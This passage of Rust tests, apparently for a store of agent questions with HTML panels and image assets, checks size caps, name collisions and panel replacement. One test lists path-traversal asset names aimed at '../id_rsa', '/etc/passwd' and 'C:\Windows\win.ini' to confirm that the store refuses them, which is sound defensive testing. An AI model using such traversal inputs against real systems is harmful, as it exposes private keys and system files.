1418 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1419 assert_eq!(json["panel"], true);
1420 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1421 let back = s.get(&q.id).unwrap();
1422 assert!(back.panel);
1423 assert_eq!(back.assets, q.assets);
1424
1425 std::fs::remove_dir_all(&work).unwrap();
1428 assert_eq!(
1429 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1430 Some(&b"\x89PNG"[..]),
1431 "a referenced asset would be gone with the worktree"
1432 );
1433 }
1434
1435 #[test]
1436 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1437 let (dir, s) = store();
1438 let mut q = panelled();
1439 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1440 s.put(&mut q).unwrap();
1441
1442 let secret = "this must never reach the browser";
1445 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1446 assert_eq!(
1447 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1448 secret,
1449 "the traversal is real: the operating system resolves this path \
1450 happily, which is why the name has to be refused before the join"
1451 );
1452
1453 let long = "x".repeat(200);
1454 for name in [
1455 "..",
1456 "../id_rsa",
1457 "..\\id_rsa",
1458 "sub/../id_rsa",
1459 "/",
1460 "\\",
1461 "/etc/passwd",
1462 "C:\\Windows\\win.ini",
1463 "",
1464 ".hidden",
1465 ".",
1466 long.as_str(),
1467 ] {
1468 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
1469 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
1470 assert!(
1471 e.contains("not a panel file name"),
1472 "`{name}` must be refused as a name, not attempted: {e}"
1473 );
1474 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
1475 }
1476 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
1479
1480 let hidden = dir.path().join(".hidden");
1483 std::fs::write(&hidden, "x").unwrap();
1484 let e = s
1485 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
1486 .unwrap_err()
1487 .to_string();
1488 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
1489 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
1490 assert!(q.assets.is_empty());
1491 }
1492
1493 #[test]
1494 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
1495 let (dir, s) = store();
1496 let mut q = panelled();
1497 s.put(&mut q).unwrap();
1498
1499 let big = dir.path().join("recording.png");
1502 std::fs::File::create(&big)
1503 .unwrap()
1504 .set_len(PANEL_MAX_BYTES)
1505 .unwrap();
1506
1507 let html = "<p>see the recording</p>";
1508 let total = PANEL_MAX_BYTES + html.len() as u64;
1509 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
1510 assert!(
1511 e.contains(&PANEL_MAX_BYTES.to_string()),
1512 "the cap is named so the agent knows the limit: {e}"
1513 );
1514 assert!(
1515 e.contains(&total.to_string()),
1516 "the actual size is named so the agent knows by how much: {e}"
1517 );
1518
1519 assert!(!q.panel);
1520 assert!(q.assets.is_empty());
1521 let left: Vec<String> = std::fs::read_dir(s.root())
1522 .unwrap()
1523 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
1524 .collect();
1525 assert_eq!(
1526 left,
1527 [format!("{}.json", q.id)],
1528 "a refused panel leaves neither a directory nor scratch: {left:?}"
1529 );
1530 }
1531
1532 #[test]
1533 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
1534 let (dir, s) = store();
1535 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
1536 std::fs::create_dir_all(&before).unwrap();
1537 std::fs::create_dir_all(&after).unwrap();
1538 std::fs::write(before.join("diff.png"), "before").unwrap();
1539 std::fs::write(after.join("diff.png"), "after").unwrap();
1540
1541 let mut q = panelled();
1542 let e = s
1543 .put_panel(
1544 &mut q,
1545 "<p>x</p>",
1546 &[before.join("diff.png"), after.join("diff.png")],
1547 )
1548 .unwrap_err()
1549 .to_string();
1550 assert!(e.contains("diff.png"), "{e}");
1551 assert!(
1552 e.contains("before") && e.contains("after"),
1553 "both sources are named, because the fix is to rename one: {e}"
1554 );
1555 assert!(!q.panel);
1556 assert!(!s.panel_dir(&q.id).exists());
1557 }
1558
1559 #[test]
1560 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
1561 let (dir, s) = store();
1562 std::fs::write(dir.path().join("old.png"), "old").unwrap();
1563 std::fs::write(dir.path().join("new.png"), "new").unwrap();
1564
1565 let mut q = panelled();
1566 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
1567 .unwrap();
1568 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
1569 .unwrap();
1570
1571 assert_eq!(q.assets, ["new.png"]);
1572 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
1573 assert!(
1574 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
1575 "an asset from the first attempt would show a mix of two answers"
1576 );
1577
1578 s.drop_panel(&q.id).unwrap();
1579 assert!(s.panel_html(&q.id).is_none());
1580 assert!(!s.panel_dir(&q.id).exists());
1581 s.drop_panel(&q.id)
1582 .expect("dropping a panel that is already gone is the desired state");
1583 }
1584
1585 #[test]
1586 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
1587 let (_dir, s) = store();
1588 let mut q = panelled();
1589 s.put(&mut q).unwrap();
1590
1591 assert!(!q.panel);
1592 assert!(s.panel_html(&q.id).is_none());
1593 assert!(
1594 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
1595 "a missing file is a 404 for the caller, not a failure of the store"
1596 );
1597 let json = serde_json::to_value(&q).unwrap();
1598 assert_eq!(json["panel"], false);
1599 assert_eq!(json["assets"], serde_json::json!([]));
1600
1601 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
1604 assert!(e.contains("empty panel"), "{e}");
1605 assert!(!s.panel_dir(&q.id).exists());
1606 }
1607
1608 #[test]
1609 fn a_question_written_before_panels_existed_still_deserialises() {
1610 let (_dir, s) = store();
1611 std::fs::create_dir_all(s.root()).unwrap();
1612 let id = "20260902-231501-ab12";
1613 let body = r#"{
1615 "schema": 1,
1616 "id": "20260902-231501-ab12",
1617 "run": "20260902-201256-9fb7",
1618 "node": "implement",
1619 "seat": "impl-A",
1620 "summary": "Which storage backend should the cache use?",
1621 "detail": "Both are already dependencies.",
1622 "choices": ["SQLite", "Redis"],
1623 "status": "open",
1624 "asked_at": "2026-09-02T23:15:01Z",
1625 "answered_at": null,
1626 "answer": null
1627}"#;
1628 std::fs::write(s.path_of(id), body).unwrap();
1629
1630 let q = s.get(id).unwrap();
1631 assert!(
1632 !q.panel,
1633 "an absent field means no panel, not a parse error"
1634 );
1635 assert!(q.assets.is_empty());
1636 assert_eq!(q.summary, "Which storage backend should the cache use?");
1637 assert_eq!(
1638 s.list().len(),
1639 1,
1640 "and it is still listed; skipping it would hide an open question"
1641 );
1642 }
1643}